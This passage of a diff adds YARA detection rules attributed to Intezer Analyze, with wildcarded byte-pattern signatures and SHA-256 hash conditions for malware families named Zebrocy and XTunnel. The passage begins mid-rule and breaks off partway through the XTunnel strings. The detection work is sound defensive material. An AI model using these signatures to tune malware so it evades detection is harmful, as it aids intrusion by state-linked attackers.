+		$block_74 = { 5? 5? 5? 5? 81 E? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 0B ?? ?? 0F 85 }
+		$block_75 = { 89 ?? B8 ?? ?? ?? ?? 83 ?? ?? 0F 42 ?? 8B ?? ?? ?? 8D ?? ?? 3D ?? ?? ?? ?? 0F 83 }
+		$block_76 = { 0F B6 ?? ?? 0F B6 ?? ?? ?? ?? ?? 8B ?? ?? ?? 0F B6 ?? ?? 4? 3A ?? ?? ?? ?? ?? 74 }
+		$block_77 = { 31 ?? 89 ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? 89 ?? 29 ?? 29 ?? 89 ?? ?? ?? 0F 84 }
+		$block_78 = { 4? BF ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? 0F 44 ?? ?? ?? 8D ?? ?? 8D ?? ?? 8D ?? ?? 89 }
+		$block_79 = { 0F B6 ?? ?? 89 ?? 89 ?? 89 ?? ?? 8B ?? ?? ?? 24 ?? 3C ?? 89 ?? BE ?? ?? ?? ?? 75 }
+		$block_80 = { 0F 1F ?? ?? 5? 89 ?? 83 ?? ?? 83 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? 8A ?? 80 F? ?? 74 }
+		$block_81 = { 8B ?? ?? ?? 0F B6 ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? C1 ?? ?? 09 ?? EB }
+		$block_82 = { 8B ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 29 ?? 89 ?? ?? ?? 89 ?? 0F 1F }
+		$block_83 = { 8B ?? ?? ?? 0F B6 ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 89 ?? ?? ?? 81 F? ?? ?? ?? ?? 76 }
+		$block_84 = { 89 ?? E8 ?? ?? ?? ?? 0F 1F ?? ?? ?? ?? ?? ?? 5? 5? 5? 5? 89 ?? 8B ?? ?? 85 ?? 74 }
+		$block_85 = { 0F 1F ?? ?? ?? 8A ?? ?? ?? 81 E? ?? ?? ?? ?? 88 ?? 09 ?? 8A ?? ?? ?? 84 ?? 0F 85 }
+		$block_86 = { 8B ?? ?? 83 ?? ?? 5? 5? FF 7? ?? FF 5? ?? 83 ?? ?? 4? 83 ?? ?? 84 ?? B0 ?? 0F 84 }
+		$block_87 = { 8B ?? ?? ?? 8D ?? ?? 8B ?? 0F B6 ?? ?? 89 ?? ?? 66 ?? ?? ?? 89 ?? 04 ?? 3C ?? 72 }
+		$block_88 = { 8B ?? ?? 83 ?? ?? 0F B6 ?? 0F B6 ?? C1 ?? ?? 89 ?? 8B ?? ?? 0F B6 ?? 0F B6 ?? 09 }
+		$block_89 = { 8B ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 0F 47 ?? 4? 39 ?? 0F 87 }
+		$block_90 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 83 ?? ?? 31 ?? 83 ?? ?? ?? 89 ?? 89 ?? ?? ?? 0F 84 }
+		$block_91 = { 89 ?? 83 ?? ?? 89 ?? ?? ?? 8B ?? 89 ?? ?? ?? 31 ?? 8B ?? ?? 89 ?? ?? ?? 0F 1F }
+		$block_92 = { 66 ?? ?? ?? ?? 0F 10 ?? 83 ?? ?? 66 ?? ?? ?? ?? 0F 11 ?? 83 ?? ?? 83 ?? ?? 75 }
+		$block_93 = { 89 ?? 83 ?? ?? 31 ?? 89 ?? ?? ?? 8B ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 0F 1F }
+		$block_94 = { 8B ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 0F 84 }
+		$block_95 = { 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? 83 ?? ?? 01 ?? 8D ?? ?? 8D ?? ?? 0F 1F }
+		$block_96 = { 31 ?? 85 ?? 89 ?? ?? ?? 0F 95 ?? ?? ?? 0F 95 ?? 80 7? ?? ?? 88 ?? ?? ?? 0F 85 }
+		$block_97 = { 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 8B ?? ?? 0F B6 ?? 3C ?? 74 }
+		$block_98 = { 3B ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? 0F 85 }
+		$block_99 = { 8B ?? ?? ?? 85 ?? 0F 94 ?? 89 ?? 29 ?? 0F 94 ?? 08 ?? 80 F? ?? 88 ?? ?? ?? 75 }
+
+	condition:
+		hash.sha256(0, filesize) == "2ee5a743bd420aa04e0ea9ab7a25e1cc2c346a55d6a518f267896694d75539a2" or
+		12 of them
+}
+
+rule Zebrocy {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 8B ?? ?? 8D ?? ?? 8B ?? ?? 8B ?? ?? 8D ?? ?? 8B ?? ?? 0F B6 ?? E8 ?? ?? ?? ?? 84 ?? 74 }
+		$block_1 = { 33 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 82 }
+		$block_2 = { 36 ?? 38 ?? 61 62 ?? ?? 65 ?? ?? ?? 38 ?? ?? 38 ?? ?? ?? ?? ?? 31 ?? ?? ?? ?? ?? 20 ?? ?? 6C 75 }
+		$block_3 = { 67 ?? ?? ?? ?? ?? ?? ?? 20 ?? ?? 6C 6C 65 ?? ?? ?? ?? 69 ?? ?? ?? ?? ?? ?? 20 ?? 20 ?? ?? ?? 70 }
+		$block_4 = { 4? 2D ?? ?? ?? ?? 61 6C 69 ?? ?? ?? ?? ?? ?? ?? 6B ?? ?? ?? 65 ?? 33 ?? 2E ?? ?? 6C 00 ?? ?? 79 }
+		$block_5 = { 69 ?? ?? ?? ?? ?? ?? 6E 67 ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? ?? 65 ?? ?? 62 ?? ?? 20 ?? ?? 6D 6F 72 }
+		$block_6 = { 65 ?? ?? 4? 00 ?? ?? 00 ?? 4? 00 ?? FF 0? 00 ?? 00 ?? 00 ?? 80 0? ?? 00 ?? 08 ?? 06 4? 61 73 }
+		$block_7 = { 5? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_8 = { 5? 5? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 85 ?? 0F 8C }
+		$block_9 = { 4? 6F 64 ?? ?? ?? ?? ?? ?? 65 ?? ?? ?? 3D ?? ?? ?? ?? 32 ?? 34 ?? 36 ?? 38 ?? 61 62 ?? ?? 65 }
+		$block_10 = { 6C 69 ?? ?? ?? ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 2F 68 ?? ?? ?? ?? 20 ?? ?? 65 ?? ?? ?? ?? 74 }
+		$block_11 = { 61 20 ?? ?? 6E 63 ?? ?? ?? 6E 30 ?? 32 ?? 34 ?? 36 ?? 38 ?? 4? 4? 4? 4? 4? 4? 30 ?? 32 ?? 34 }
+		$block_12 = { 6F 2F 63 ?? ?? 68 ?? ?? ?? ?? 69 ?? ?? ?? ?? ?? ?? 63 ?? ?? ?? 4? 4? 20 ?? ?? ?? 20 ?? ?? 7A }
+		$block_13 = { 35 ?? ?? ?? ?? 32 ?? 33 ?? 32 ?? ?? ?? ?? ?? 61 69 ?? ?? ?? ?? ?? ?? 20 ?? ?? 61 6E 64 ?? 72 }
+		$block_14 = { 69 ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 3A ?? 2F 31 ?? 30 ?? 39 ?? 2E ?? ?? 37 2E ?? ?? 36 ?? 70 }
+		$block_15 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_16 = { 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8D ?? ?? 83 ?? ?? 39 ?? 0F 87 }
+		$block_17 = { 66 ?? ?? ?? ?? 89 ?? ?? ?? 0F B7 ?? ?? ?? 09 ?? 66 ?? ?? ?? ?? 0F B6 ?? ?? ?? 84 ?? 0F 84 }
+		$block_18 = { 9? 4? 00 ?? ?? 00 ?? 08 ?? 4? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 5? 6F 70 }
+		$block_19 = { 8B ?? ?? 0F BE ?? ?? 83 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 4? 89 ?? ?? 3B ?? ?? 72 }
+		$block_20 = { 20 ?? ?? 61 3D ?? ?? ?? ?? 20 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6D 61 78 }
+		$block_21 = { 20 ?? ?? ?? ?? ?? 20 ?? 20 ?? 6D 3D ?? ?? ?? ?? 32 ?? ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? 73 }
+		$block_22 = { 61 63 ?? ?? 3D ?? ?? ?? ?? 6C 6F 63 ?? ?? 67 ?? ?? ?? ?? ?? 63 ?? ?? ?? 6B ?? ?? ?? 70 }
+		$block_23 = { 38 ?? 38 ?? 30 ?? 32 ?? ?? ?? ?? ?? 33 ?? 34 ?? 33 ?? 32 ?? ?? ?? ?? ?? 5? 4? 6F 6E 74 }
+		$block_24 = { 9E 02 ?? 9C 9E 02 ?? 03 ?? 00 ?? 04 ?? 00 ?? C0 ?? ?? ?? ?? ?? ?? 00 ?? 9E 02 ?? 5? E3 }
+		$block_25 = { 36 ?? ?? 39 ?? 36 ?? ?? ?? ?? ?? ?? 61 6C 69 ?? ?? ?? ?? ?? ?? ?? 63 ?? ?? ?? 61 6C 75 }
+		$block_26 = { 00 ?? FF 0? 00 ?? 00 ?? 00 ?? 80 F? ?? FF 1? 02 ?? 0A ?? ?? 65 ?? 64 ?? 6F 6C 6F 72 }
+		$block_27 = { 8D ?? ?? A1 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 0F 84 }
+		$block_28 = { 5? 5? 89 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_29 = { 8B ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? 8B ?? ?? 8B ?? ?? 88 ?? ?? ?? FF 4? ?? FF 4? ?? 75 }
+		$block_30 = { 65 ?? ?? ?? ?? ?? 65 ?? ?? ?? 6C 65 ?? ?? ?? ?? 68 ?? ?? ?? ?? 65 ?? ?? 20 ?? ?? 76 }
+		$block_31 = { 4? 5? 5? 5? 5? 5? 5? 4? 4? 4? 5? 4? 4? 4? 5? 4? 4? 5? 69 ?? ?? ?? ?? ?? ?? 6E 6C 6F }
+		$block_32 = { 69 ?? ?? ?? ?? ?? ?? 6F 3A ?? 69 ?? ?? ?? ?? ?? ?? 20 ?? ?? 65 ?? ?? ?? 20 ?? ?? 72 }
+		$block_33 = { 61 63 ?? ?? ?? 65 ?? ?? ?? 6E 3C ?? 63 ?? ?? ?? 65 ?? ?? ?? ?? 6B ?? ?? ?? 6F 6D 61 }
+		$block_34 = { 3D ?? ?? ?? ?? 6E 3D ?? ?? ?? ?? 29 ?? 28 ?? 6D 3A ?? ?? 28 ?? 6D 3A ?? ?? 28 ?? 73 }
+		$block_35 = { CE BC ?? ?? ?? ?? 20 ?? 3D ?? ?? ?? ?? 20 ?? 3C ?? 3D ?? ?? ?? ?? 20 ?? ?? 20 ?? 66 }
+		$block_36 = { 07 0A ?? ?? ?? 61 67 ?? ?? 69 ?? ?? ?? ?? ?? ?? 8C ?? 4? 00 ?? ?? 08 ?? ?? 6E 74 }
+		$block_37 = { 8B ?? ?? ?? ?? ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_38 = { 69 ?? ?? ?? ?? ?? ?? 6E 6B ?? ?? ?? 6E 28 ?? ?? 61 69 ?? ?? ?? ?? ?? ?? 66 ?? 72 }
+		$block_39 = { 61 6E 5? 4? 6C 62 ?? ?? 69 ?? ?? ?? ?? ?? ?? 61 6E 64 ?? 69 ?? ?? ?? ?? ?? ?? 67 }
+		$block_40 = { 20 ?? ?? 61 3D ?? ?? ?? ?? 3D ?? ?? ?? ?? 3D ?? ?? ?? ?? 3D ?? ?? ?? ?? 20 ?? 73 }
+		$block_41 = { 29 ?? 28 ?? ?? 61 6E 20 ?? 28 ?? ?? 61 6E 29 ?? 4? 4? 20 ?? ?? 20 ?? 5? 61 6C 75 }
+		$block_42 = { 62 ?? ?? 64 ?? ?? ?? 31 ?? ?? 69 ?? ?? ?? ?? ?? 63 ?? ?? 6C 63 ?? ?? 20 ?? ?? 73 }
+		$block_43 = { 63 ?? ?? ?? ?? ?? 4? 6F 64 ?? ?? ?? ?? ?? ?? 63 ?? ?? 69 ?? ?? ?? ?? ?? ?? ?? 70 }
+		$block_44 = { 5? 4? 4? 4? 5? 4? 4? 4? 5? 4? 4? 5? 69 ?? ?? ?? ?? ?? ?? 6E 6C 6F 63 ?? ?? 4? 4? }
+		$block_45 = { 6E 66 ?? ?? 6E 20 ?? ?? ?? ?? ?? 62 ?? ?? 2E ?? ?? ?? 2E ?? ?? ?? 2E ?? ?? ?? 2E }
+		$block_46 = { 5? 5? 5? 88 ?? ?? 8B ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 85 ?? 0F 84 }
+		$block_47 = { 8B ?? E8 ?? ?? ?? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 4? FF 4? ?? 0F 85 }
+		$block_48 = { 35 ?? ?? ?? ?? 33 ?? 39 ?? 35 ?? ?? ?? ?? 37 32 ?? 35 ?? ?? ?? ?? 4? 4? 5? 4? }
+		$block_49 = { 20 ?? ?? ?? 65 ?? ?? ?? 6E 65 ?? ?? 31 ?? ?? 6D 6F 61 20 ?? ?? 61 6E 64 ?? 72 }
+		$block_50 = { 69 ?? ?? ?? ?? ?? ?? 64 ?? ?? ?? 2D ?? ?? ?? ?? 6E 6B ?? ?? ?? 6E 20 ?? ?? 74 }
+		$block_51 = { 65 ?? ?? ?? ?? ?? 6C 6F 63 ?? ?? 67 ?? ?? ?? ?? ?? 63 ?? ?? ?? 6B ?? ?? ?? 70 }
+		$block_52 = { 8B ?? ?? ?? ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_53 = { 4? 4? 00 ?? 00 ?? 00 ?? 00 ?? 80 F? ?? FF 1? 03 ?? 07 4? 6B ?? ?? ?? 6F 72 }
+		$block_54 = { 0F B6 ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? C6 ?? ?? ?? 3B ?? 74 }
+		$block_55 = { 67 ?? 6D 61 67 ?? ?? 69 ?? ?? ?? ?? ?? ?? 88 ?? 4? 00 ?? 00 ?? 4? 6F 6E 74 }
+		$block_56 = { 6E 67 ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? ?? 65 ?? ?? 62 ?? ?? 20 ?? ?? 6D 6F 72 }
+		$block_57 = { 64 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 3B ?? ?? 0F 86 }
+		$block_58 = { 6D 65 ?? ?? 62 ?? ?? 20 ?? ?? 2D ?? ?? ?? ?? 6E 6B ?? ?? ?? 6E 20 ?? ?? 74 }
+		$block_59 = { 4? 24 ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 ?? ?? ?? 8B ?? ?? ?? 85 ?? 0F 84 }
+		$block_60 = { 5? 5? 89 ?? ?? E8 ?? ?? ?? ?? 88 ?? ?? C7 ?? ?? ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_61 = { 32 ?? 35 ?? ?? ?? ?? 32 ?? 35 ?? ?? ?? ?? 39 ?? 36 ?? ?? ?? ?? ?? 6D 65 }
+		$block_62 = { 69 ?? ?? ?? ?? ?? ?? 5? 61 6B ?? ?? ?? 61 6D 69 ?? ?? ?? ?? ?? ?? ?? 72 }
+		$block_63 = { 20 ?? ?? 6C 6C 6F 63 ?? ?? 67 ?? ?? ?? ?? ?? 63 ?? ?? ?? 6B ?? ?? ?? 70 }
+		$block_64 = { 63 ?? 6B ?? ?? ?? 6F 66 ?? ?? ?? ?? 65 ?? ?? ?? ?? ?? ?? 20 ?? ?? 6E 79 }
+		$block_65 = { 68 ?? ?? ?? ?? 6C 6C 65 ?? ?? 6C 20 ?? ?? 65 ?? ?? ?? 20 ?? ?? 6C 6F 77 }
+		$block_66 = { 32 ?? ?? ?? ?? ?? 34 ?? 34 ?? 37 37 35 ?? ?? ?? ?? 32 ?? ?? ?? ?? ?? 73 }
+		$block_67 = { 5? 61 69 ?? ?? ?? ?? ?? ?? 61 69 ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 61 79 }
+		$block_68 = { 4? 4? 5? 4? 5? 4? 5? 5? 5? 32 ?? ?? 4? 5? 4? 5? 5? 4? 4? 4? 5? 4? 61 74 }
+		$block_69 = { 8B ?? ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 8C }
+		$block_70 = { 8B ?? ?? 0F B7 ?? ?? 8B ?? ?? 83 ?? ?? 2B ?? 83 ?? ?? 83 ?? ?? 0F 86 }
+		$block_71 = { A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? FF 5? ?? 4? 85 ?? 0F 8E }
+		$block_72 = { 61 6E 4? 68 ?? ?? ?? ?? 4? 6F 6D 6D 6F 6E 4? 6F 6F 6B ?? ?? ?? 6F 70 }
+		$block_73 = { 64 ?? ?? 2D ?? ?? ?? ?? 20 ?? ?? ?? 69 ?? ?? ?? ?? ?? ?? ?? 6F 6E 74 }
+		$block_74 = { 6F 6F 4? 4? 20 ?? ?? 65 ?? ?? 4? 20 ?? ?? 69 ?? ?? ?? ?? ?? ?? ?? 74 }
+		$block_75 = { 6A ?? 5? 5? 5? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 87 }
+		$block_76 = { 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? FF 5? ?? 8B ?? 4? 85 ?? 0F 8C }
+		$block_77 = { 64 ?? ?? ?? 61 6E 25 ?? ?? ?? ?? 28 ?? 62 ?? ?? 2E ?? 6C 6F 61 74 }
+		$block_78 = { 65 ?? ?? ?? 69 ?? ?? ?? ?? ?? ?? 61 6C 69 ?? ?? ?? ?? ?? ?? ?? 66 }
+		$block_79 = { 2A ?? ?? ?? ?? ?? 25 ?? ?? ?? ?? 34 ?? 26 ?? ?? 39 ?? 26 ?? 6D 70 }
+		$block_80 = { 64 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? 3B ?? ?? 0F 86 }
+		$block_81 = { 62 ?? ?? 63 ?? ?? ?? 61 6B ?? ?? ?? 61 6E 20 ?? ?? 61 6E 64 ?? 72 }
+		$block_82 = { 6E 67 ?? ?? ?? 6D 61 69 ?? ?? ?? ?? ?? ?? 69 ?? ?? ?? ?? ?? ?? 73 }
+		$block_83 = { 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? FF 5? ?? 4? 85 ?? 0F 8E }
+		$block_84 = { 8D ?? ?? 8D ?? ?? 8B ?? ?? 0F B6 ?? E8 ?? ?? ?? ?? 84 ?? 74 }
+		$block_85 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_86 = { 33 ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? FF 5? ?? 4? 85 ?? 0F 8E }
+		$block_87 = { 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 94 ?? 83 ?? ?? 75 }
+		$block_88 = { 6A ?? 6A ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_89 = { 8D ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 0F 87 }
+		$block_90 = { 33 ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_91 = { 69 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 00 ?? 4? 6F 6E 74 }
+		$block_92 = { 69 ?? ?? ?? ?? ?? ?? BC ?? ?? ?? ?? 00 ?? 4? 6F 6E 74 }
+		$block_93 = { 0F B7 ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? ?? ?? 75 }
+		$block_94 = { FF 0? ?? ?? ?? ?? 81 3? ?? ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_95 = { 5? 5? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_96 = { BA ?? ?? ?? ?? 8B ?? D3 ?? 85 ?? ?? ?? ?? ?? 0F 84 }
+		$block_97 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 0F B6 ?? ?? 8B ?? ?? E8 }
+		$block_98 = { A1 ?? ?? ?? ?? 8B ?? 8B ?? FF 5? ?? 4? 85 ?? 0F 8C }
+		$block_99 = { 0F B7 ?? ?? 5? 5? E8 ?? ?? ?? ?? 80 7? ?? ?? 75 }
+
+	condition:
+		hash.sha256(0, filesize) == "dd7e69e14c88972ac173132b90b3f4bfb2d1faec15cca256a256dd3a12b6e75d" or
+		hash.sha256(0, filesize) == "f5c28f2089c1ac3cdc9d1bc01297838f663dfb0f2a4a2686edb47cc64ea60bb4" or
+		hash.sha256(0, filesize) == "f3f26c446fb3bf8453f434bbeed506ba78f40f510c4186cb7229e2473862c10f" or
+		hash.sha256(0, filesize) == "074a5836c5973bb53ab02c2bad66a4743b65c20fd6bf602cfaf09219f32d2426" or
+		hash.sha256(0, filesize) == "b483b6f21601752ff800ba52092e358050e4b370117503a9309787fd57935926" or
+		hash.sha256(0, filesize) == "e2f3caade127e855fdec68faf8eea845fed9ae98ea17cd74644e57de91fb6e11" or
+		hash.sha256(0, filesize) == "ee9218a451c455fbca45460c0a27e1881833bd2a05325ed60f30bd4d14bb2fdc" or
+		hash.sha256(0, filesize) == "15486216ab9c8b474fe8a773fc46bb37a19c6af47d5bd50f5670cd9950a7207c" or
+		hash.sha256(0, filesize) == "044f8ab501090fd77ae6e9ebf57e7fba9041be7ab986ce58f38583f4839a5126" or
+		hash.sha256(0, filesize) == "d7c12acb306b5100a5497586942b68a8f6d5deb353083da594caba2523c3171f" or
+		hash.sha256(0, filesize) == "10a9a217d3b53a3e43ec03b81a026f7a70350a062b900d672353690090e1ade6" or
+		hash.sha256(0, filesize) == "c8f39b13b5d6952c853c4b9fd63d1a1cc2acaf01fd97185761894d1634ba0a38" or
+		hash.sha256(0, filesize) == "e5b3252692c3486339cf68799d3e19fe4ac530f3f09236167a6f01510a488e90" or
+		hash.sha256(0, filesize) == "736dca8fdbe0a9cbf0982a5fd540d7b31eccb83ad1e63393a8c3ce6b379f6c9d" or
+		hash.sha256(0, filesize) == "142287861c2322646c185b5092a1e7176a63a4d4909f03ae88446c7ff1fde105" or
+		hash.sha256(0, filesize) == "25f0d1cbcc53d8cfd6d848e12895ce376fbbfaf279be591774b28f70852a4fd8" or
+		hash.sha256(0, filesize) == "b6d2b8a527b2d2dafbfca559086c391aefdceed788fc9578d15c50a20343ee50" or
+		hash.sha256(0, filesize) == "5223a45d8b08eb14e87a87edaa4b71593b4f9d2bdb6de1a5b6f3e77869eeca8a" or
+		12 of them
+}
+
+rule XTunnel {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 89 ?? ?? 8B ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 69 ?? ?? ?? ?? ?? 89 }
+		$block_1 = { 0F B7 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? C7 }
+		$block_2 = { 0F B7 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 76 }
+		$block_3 = { 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_4 = { 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 0F B7 ?? ?? 8B ?? ?? 80 7? ?? ?? 89 ?? ?? 75 }
+		$block_5 = { 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 0F B7 ?? ?? 8B ?? ?? 8B ?? ?? 80 7? ?? ?? 89 ?? ?? 75 }
+		$block_6 = { 0F B7 ?? ?? ?? ?? ?? 5? 5? 6A ?? 5? 5? 5? 5? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 75 }
+		$block_7 = { C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 0F BF ?? ?? 83 ?? ?? 74 }
+		$block_8 = { 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 87 }
+		$block_9 = { 0F B6 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 44 ?? ?? ?? ?? 44 ?? ?? 0F 8D }
+		$block_10 = { 8B ?? ?? 0F B7 ?? ?? ?? ?? ?? 8B ?? ?? 80 7? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 75 }
+		$block_11 = { 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F 83 }
+		$block_12 = { B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 41 ?? ?? ?? 41 ?? ?? ?? 0F 44 ?? 89 }
+		$block_13 = { 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? A8 ?? 0F 85 }
+		$block_14 = { 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 80 3? ?? 0F 85 }
+		$block_15 = { 5? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F 84 }
+		$block_16 = { 5? 48 ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_17 = { 8B ?? ?? 8B ?? 8B ?? ?? 6A ?? 6A ?? 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 84 }
+		$block_18 = { 8B ?? ?? 8B ?? 8B ?? ?? 6A ?? 6A ?? 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 85 }
+		$block_19 = { 4C ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 84 }
+		$block_20 = { 5? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? A8 ?? 0F 85 }
+		$block_21 = { 5? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 0F 84 }
+		$block_22 = { C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 0F B7 ?? ?? 8B ?? ?? 80 7? ?? ?? 89 ?? ?? 75 }
+		$block_23 = { 8B ?? ?? ?? ?? ?? 5? B9 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 8F }
+		$block_24 = { 8B ?? ?? 8B ?? 8B ?? ?? 6A ?? 6A ?? 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 8E }
+		$block_25 = { 0F B6 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 44 ?? ?? ?? ?? 44 ?? ?? 0F 8D }
